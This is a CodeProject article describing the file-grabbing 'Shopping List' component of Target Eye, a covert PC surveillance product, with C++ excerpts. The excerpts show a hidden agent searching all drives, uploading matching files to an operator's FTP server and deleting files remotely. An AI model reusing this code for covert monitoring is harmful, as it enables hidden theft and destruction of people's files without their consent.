Click here to Skip to main content
969 members (228 online)
Click here to Skip to main content
Add your own
alternative version

Tagged as

Stats

6.1K views
5 bookmarked
Posted 13 Sep 2013

Target Eye Revealed - Part 3

, 13 Sep 2013
Rate this:
Please Sign up or sign in to vote.
Michael Haephrati describes the Shopping List and how it is used

Introduction

This article is the third article in a series about the Target Eye Monitoring System, developed in 2000, and since. The first article was about Target Eye's Auto Update mechanism, and how it is capable of checking for updates, downloading them when there are, installing them and running them instead of the old version currently running, all of the above, with no end-user intervention. The second article was about the Target Eye's screen capturing mechanism, and how compact JPG files are created combining a reasonable image quality and a small footprint. This article is about the Shopping List mechanism. Next article is about Keyboard Capturing.

Background

Target Eye Monitoring System, which I have developed 12 years ago, was probably the first surveillance and monitoring tool for capturing activity of remote computers. The following description is taken from the original Business Plan of this venture:

Target Eye is a start-up company whose mission is to develop integrated software solutions for real-time monitoring of remote PCs, which are based on the company’s patent pending technologies (60/204,084 and 60/203,832). Our major product, Target Eye Monitoring System, is a software product that can continuously track, record, playback, analyze and report any activity performed on one or multiple remote PCs, in a way which is undetectable by their users. The software relies on a stream of rapidly captured, compressed full-screen images and continuous keystroke capturing to provide a comprehensive and accurate account of user activities, including local activities which do not generate any network traffic. In this way, the software can track and record activities, which are undetectable by systems relying on network traffic analysis. A smart agent module running on the monitored PCs uses a rule base to send alerts to the monitoring location(s) or perform pre-defined local operations. Monitoring can be performed from multiple locations. Major markets are law-enforcement.

The Shopping List Mechanism ™

Target Eye Monitoring System has a unique mechanism for bi-directional files requests from the monitored computer. Using the Shopping List Mechanism ™ , the operator can define requests as for which criteria to be used, and then, to modify these requests on the fly.

What is the Shopping List

The Shopping List is in fact, a file, managed manually by the Operator, and the Secret Agent.

The Operator defines the queries, and then manipulate and edit them, as well as their results, while the Secret Agent execute them and marks which one of the requested files we sent.

The Shopping List is constantly updated by the Secret Agent, and as a result, it can be used to get an updated view of the operation activity.

The Shopping List Naming Structure

In order of doing so, the Shopping List file is placed on the Server, and can be identified by it's unique naming structure.

<OperationID><AgentID><ShoppingList Alias>   
For example:

If the OperationID is “SECRET00” and the AgentID is “IBM000000001”, and provided that the Shopping List Alias is “files.txt”, you will get:

SECRET00IBM000000001-files.txt    

The Shopping List Query Structure

There are different types of entries which can be part of the Shopping List.

A Single Request

When the Operator needs a specific file, knowing it's exact location, a Single Request is used.

For example

To request the file 'autoexec.bat' located in C:\ the request would be:

[ ] c:\autoexec.bat    

and after successful execution of this request, the entry will be:

[X] c:\autoexec.bat     

or alternatively, in case of failure (for example: if there is no such file), the entry will be:

[!] c:\autoexec.bat    

A Simple Query

When the Operator needs all files of a certain type, with or without specific name, a Simple Query is used. Such query will always start with [Q] and will use SQL syntax to define the criteria.

For example

To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:

[Q] *spy*.doc   
As a result, the Secret Agent might, for example, find the following files, and the operator will see the following entries added:
[ ] c:\docs\About Spyware.doc
[ ] d:\backup\A letter to james spyropolos.doc  

and so on.

Other actions on files

Files specified or found as a result of a query can not only be copied, but also deleted.

Deleting a file

When the Operator wishes to delete a single or several files, with or without specific name, a Simple Delete Query is used. Such query will always start with [D] and will use the Shopping List syntax to define the criteria.

For example

To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:

[D] *spy*.doc    

will delete all Word documents with the string "spy" as part of their names.

Shopping List Mechanism -Shopping List Query

This is where a list of initial queries is entered. You can enter a number of queries, one after the other.

Shopping List Mechanism - Encrypt Shopping List on the Server

When this checkbox is checked, the Shopping List file will be encrypted on the Server. When it is unchecked, it is possible to use the Explorer to modify and edit this file on the fly, while getting faster results from the Secret Agent. For example: adding a new query. When the file is encrypted, the Target Eye Decryptor tool is required to make any changes.

Shopping List Mechanism - Ignore Files Larger Than

When this checkbox is checked, the amount of MB indicated bellow, are the higher limit of files that will be sent to the Server. Files which are larger than that size will be ignored.

Shopping List related settings

The Target Eye had a Compiler that was used along the evolution of the application to customize the "Secret Agent' part based on predefined and dynamically changed settings.

In the earlier versions the Compiler looked like this:

and the part related to the Shopping List looked like this:

This part was enhanced and the 2007 version

looked like this:

<o:p>

Performing Fast Files Searches

While developing Target Eye I checked many methods for performing mass searching in a computer. The purpose was to find a way to search for thousand of files in seconds, scanning all drive letters, and building a list of results.

The FindFile class by Louka Dlagnekov seems to be an excellent solution. It works really fast and is reliable. I have enhanced it to filter the search queries for the last file access data (for example, searching for all .doc files from the last 30 days, was done using the query:

[Q] -d30 *.doc 

Unless specified otherwise, and due to the nature of Target Eye to gather information, a query is executed while searching all drive letters and all folders in the monitored PC.

Some Source Code

The best way to explain the Shopping List mechanism is form bottom to top. So when we actually perform the search it looks like this:

FindFileOptions_t opts;               /
opts.excludeDir = "*emulation*";
opts.excludeFile = "";
opts.recursive = true;
opts.returnFolders = false;
opts.terminateValue = NULL;    
opts.days=q->Days;
FindFile find(opts);

The FindFileOpiton structure holds the details of the requested search:

  • ExcludeDir - when not to search
  • ExcludeFile - what not to search
  • Recursive - indicates if we perform recursive searches when we come up with a folder. TRUE by default
  • ReturnFolders - indicates if folders are also included in the search results. FALSE by default.
  • TerminateValue - a value that if found, terminates the search
  • Days - number of days the found files should have been last accessed.

Now we call find.search. There are two possible calls, based on the top level settings (which will be explained as well):

  • Search at a specific location
  • Search everywhere
If we search at a specific location, the call will look like this:
find.search(TRUE,WhatToSearch,WhereToSearch);

If we search everywhere, the call will like this:

char drive[3];
strcpy(drive,"c:\\");
for (char dl='c';dl<='z';dl++)
{
     drive[0]=dl;
     find.search((dl=='c'),WhatToSearch,drive);
}

That way, we scan all drive letters. At this point we collect the results:

int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
for(i=0;i<(int) find.filelist.size();i++)
{
   string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
}  

fullname will now hold the result of the query.

nfiles contains the number of files found

size contains the size of the files found in total. That is important for a monitoring application as we need to know how much data we need to send to the operator.

Managing the Shopping List

Now we can go one level above an examine the way the Shopping List was managed.

Before doing so, here are some terms used by Target Eye:

Target Eye Secret Agent - the covert part of the product that runs on the monitored computer

Target Eye Operator - the authority that operates the Secret Agent (for example: a Law Enforcement agency).

A Mission - a request to perform an action. There are many possible actions (for example, capturing the screen, as described in an other article of mine). Since the scope of this article is the Shopping List mechanism, the Mission that is associated with the Shopping List could be copy or delete a file.

Target Eye Compiler - The tool that is used by the Target Eye Operator to customize a Secret Agent for performing specific tasks.

The following code is taken form the 2004 version of Target Eye. This function is called only when there is no Shopping List already created. After the first time it is created, and from that moment, it will be updated as a result of 2 possible triggers:

  • Target Eye Secret Agent completes (or fails) in a mission. (client)
  • Target Eye operator adds or deletes a mission. (server)

The first thing that is done is building the initial query. This query is built according to the settings defined in the Target Eye Compiler. The initial query can be a combination of several queries. For example: the query "*.doc;*.xls" encapsulates two queries; "*.doc" (all files ending with ".doc") and "*.xls" (all files ending with ".xls").

Shopping List Synchronization

Before we bring the source code, I'd like to explain the idea behind the Shopping List synchronization. Since the Shopping List can be updated by both the client (Target Eye Secret Agent) and the server (Target Eye operator), there is a process for synchronizing the changes, so the Secret Agent is being notified about any change made by the operator (for example: if the operator removes a mission to copy a certain file, this file will not be copied), and the operator is being notified of any changes made by the client, namely, being updated about the progress of fulfilling the list of missions given to the Secret Agent. Most of the Shopping List related routines contains a part where the local shopping list is updated (or created) and a part where the shopping list is synchronized so the changes apply to the server version.

TE_BuildInitQuery()

This routine is called when there is no local shopping list yet and it should be built based on the settings defined by the operator.

void TE_BuildInitQuery()
{
    int n;
    CString SearchQuery=Options.Query; // initial query is based on the settings
    InitSearch.RemoveAll(); // dynamic array is emptied
    n=SearchQuery.Find(";"); // queries are extracted from the query line
    while(n>0)
    {
        InitSearch.Add("[Q] "+SearchQuery.Left(n));
        if(SearchQuery.GetLength()<n+1)
            break;
        else
            SearchQuery=SearchQuery.Mid(n+1);
        n=SearchQuery.Find(";");
    }
    if(SearchQuery.GetLength()>3)
    {
        InitSearch.Add("[Q] "+SearchQuery);
    }
} 

CreateDefShoppingList()

The function that calls TE_BuildInitQuery is CreateDefShoppingList() which then saves the separated queries into the local Shopping List. Then the local shopping list is synchronized with the server.

void CreateDefShoppingList()
{
    FILE *fp;
    TE_BuildInitQuery();
    fp=fopen(LOCAL_FILELIST,"w"); // create local Shopping List
    if (fp)
    {
        for(int i=0;i<InitSearch.GetSize();i++)
        {
            CString temp=TE_Encode(InitSearch[i]);
            fprintf(fp,"%s\n",temp); // adds a query
        }
        fclose(fp);
    }

    TE_Send(TE_FILELIST,TRUE,FALSE); // sends to server
    TargetEyeFiles.AddFile(TE_FILELIST,1003,SEND_FILELIST); // maintain a list of files
}     

Expanding a query

The last missing link in the explanation is the procedure of expanding a query into its results, while the results replace the query in the Shopping List.

void ExpandFiles()
{
    CString Line;
    BOOL EmptyFile=TRUE;
    int DoTry=FTPRETRIES;
    char s[255];
    char OrigFileName[160];

    // ExpandFiles() opens the ShoppingList file from server
    strcpy(OrigFileName,LOCAL_FILELIST);
    CInternetFile *pFile;
    TryAgain:;
    try
    {
        pFile = FtpConn->OpenFile(FTP_FILELIST);    // open the file
    }
    catch (CInternetException* pEx)
    {
        // handle errors
        pEx->Delete();
        pFile=NULL;
        if(DoTry-- > 0) 
        {
            goto TryAgain;
        }
        if(!pFile)
        {
            if(DoTry-- > 0) 
            {
                goto TryAgain;
            }        return;
        }
        // read each line
        FILE *fp=fopen(OrigFileName,"w");
        while(-1)
        {
            DoTry=FTPRETRIES;
    TryAgain2:;
        try
        {
            if (!pFile || !(pFile->ReadString(Line))) 
            {
                break;
            }
        }
        catch (CInternetException* pEx)
        {
            if(DoTry-- > 0) 
            {
                goto TryAgain2;
            }
            return;
        }
        Line=TE_Decode(Line);
        if (Line.GetLength()==0)
        {
            break;
        }
        // start processing a line
        EmptyFile=FALSE;
        if(Line.Left(3)=="[D]")        // a request to delete a file
        {
            char FileToDelete[255];
            int result;
            strcpy(FileToDelete,Line.Mid(4));
            result=DeleteFile(FileToDelete);
            if(result)            // deletion was successful
                sprintf(s,"[X] /DEL %s",Line.Mid(4));
            else                // deletion has failed
                sprintf(s,"[!] /DEL %s",Line.Mid(4));
            fprintf(fp,"%s\n",TE_Encode(s));
        }
        else
        if(Line.Left(3)=="[Q]")    // a request to search for files based on a query
        {
            CStringArray result;
            TE_OpenQuery(Line,&result);    // run this query using the file search routines explained before
            if(result.GetUpperBound()>0)    // get the results
            {
                for (int i=0;i<result.GetUpperBound();i=i+2)// per each result. Results come in two lines
                {
                    // add results to a local Shopping List file
                    sprintf(s,"%s",result[i]);
                    fprintf(fp,"%s\n",TE_Encode(s));
                    sprintf(s,"%s",result[i+1]);
                    fprintf(fp,"%s\n",TE_Encode(s));
                }                    
            }
            else
            {
                // failed to run query
                sprintf(s,"[!] %s",Line.Mid(5));
                fprintf(fp,"%s\n",TE_Encode(s));
            }
        }
        else
        {
            // handle any other type of line
            fprintf(fp,"%s\n",TE_Encode(Line));
        }
        }
    fclose(fp);
    pFile->Close();
} 

At this stage the local Shopping List is synced with the server.

TE_OpenQuery

TE_OpenQuery is another building block that is used for actually calling the files search class. The result of a query is added to the Shopping List in two lines:

  1. The file found marked as a file yet to be copied. For example: "[ ] result.doc"
  2. Additional Information such as date, size, etc.
BOOL TE_OpenQuery(CString Line,CStringArray *result)
{
    char Q1[80];
    long Days=-1;
    CString QQ,Where="";
    // first we handle the "-s" switch which instructs searching in a specific place, 
    // as opposed to scanning all driver letters and all folders under it
    if(Line.Mid(4,2)=="-s")
    {
        if(Line.Mid(6,1)=='\'')
        {
            QQ=Line.Mid(7);
            int c=QQ.Find('\'');
            if (c>0) 
            {
                Where=QQ.Left(c);
                QQ=QQ.Mid(c+2);
            }
        }
        else
        {
            QQ=Line.Mid(6);
            int c=QQ.Find(' ');
            if (c>0) 
            {
                Where=QQ.Left(c);
                QQ=QQ.Mid(c+1);
            }
        }
        Line=Line.Left(4)+QQ;
    }
    // Then we handle the '-d' switch which is used to filter
    // the files found to the ones with N days old 
    // (for exmaple: -d40 means 40 days old)
    if(Line.Mid(4,2)=="-d")
    {
        //opts.days=atol(Line.Mid(8,2))
        QQ=Line.Mid(6);
        int c=QQ.Find(' ');
        if (c>0) 
        {
            Days=atol(QQ.Left(c));
            QQ=QQ.Mid(c+1);
        }
        strcpy(Q1,QQ);
    }
    else
        strcpy(Q1,Line.Mid(4));
    // Call the FindFile class
    FindFileOptions_t opts;
    opts.excludeDir = "";
    opts.days=Days;
    opts.recursive = true;
    opts.returnFolders = false;
    opts.terminateValue = NULL;
    opts.excludeFile = "*.exe";
    FindFile find(opts);
    if(Where!="")
    {
        if(Where.Right(1)!='\\') Where+='\\';
        find.search(TRUE,Q1,Where.GetBuffer(1),Days);
    }
    else
    {
        // Scan all drive letters
        for(int i='c';i<'z';i++)
        {
            char dr[5]="c:\\";
            dr[0]=i;
            find.search((i=='c'),Q1,dr,Days);
        }
    }
        
    int nfiles = (int) find.filelist.size();
    __int64 size = find.listsize;    
    // number of files found are stored in : nfiles
    // size of files found is stored in : size 
    // Local Shopping List is kept in LOCAL_FILELIST);
    if(find.filelist.size())
    {
        for(int i=0;i<(int)find.filelist.size();i++)
        {
            char s[1024];
            string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
            sprintf(s,"[ ] %s",fullname.c_str());
            result->Add(TE_Encode(s));
            sprintf(s,"'Date: %s Length = %ld",find.filelist[i].date.c_str(),find.filelist[i].filesize / 1024);
            result->Add(TE_Encode(s));
        }
        return(TRUE);
    }
    else
        return(FALSE);
}

TE_Encode and TE_Decode are macros used to handle encryption.

This article hasn't covered many additional options the Shopping List mechanism has, mostly to preserve a readable article.

Michael Haephrati , CodeProject MVP 2013

©2000-2013 Michael Haephrati and Target Eye LTD

All materials contained on this article are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Share

About the Author

Michael Haephrati
Michael Haephrati
United States United States
Michael Haephrati, born in 1964, an entrepreneur, inventor and a musician. Haephrati worked on many ventures starting from HarmonySoft, designing Rashumon, the first Graphical Multi-lingual word processor for Amiga computer.

Worked with Amdocs and managed several software projects, among them one for the Ministry of Tourism in New Zealand. During 1995-1996 he worked as a Contractor with Apple at Cupertino. After returning to Israel, worked as a Project Manager with Top Image Systems (mostly with JCC, Nicosia), and then at a research institute made the fist steps developing the credit scoring field in Israel. He founded Target Scoring and developed a credit scoring system named ThiS, based on geographical statistical data, participating VISA CAL, Isracard, Bank Leumi and Bank Discount (Target Scoring, being the VP Business Development of a large Israeli institute).
During 2000, he founded Target Eye, and developed the first remote PC surveillance and monitoring system, named Target Eye.

Other ventures included: Data Cleansing (as part of the DataTune system which was implemented in many organizations.


Also a Code Project Member since Sunday, March 16, 2003 (10 years, 5 months)
20 Sep 2013: Best C++ article of August 2013
25 Jan 2013: Code Project - Best C++ article of December 2012
31 Dec 2012: CodeProject MVP 2013

You may also be interested in...

Comments and Discussions

 
-- There are no messages in this forum --
Permalink | Advertise | Privacy | Terms of Use | Mobile
RA-Web1 | 2.8.170713.1 | Last Updated 13 Sep 2013
Article Copyright 2013 by Michael Haephrati
Everything else Copyright © RootAdmin, 1999-2017
Layout: fixed | fluid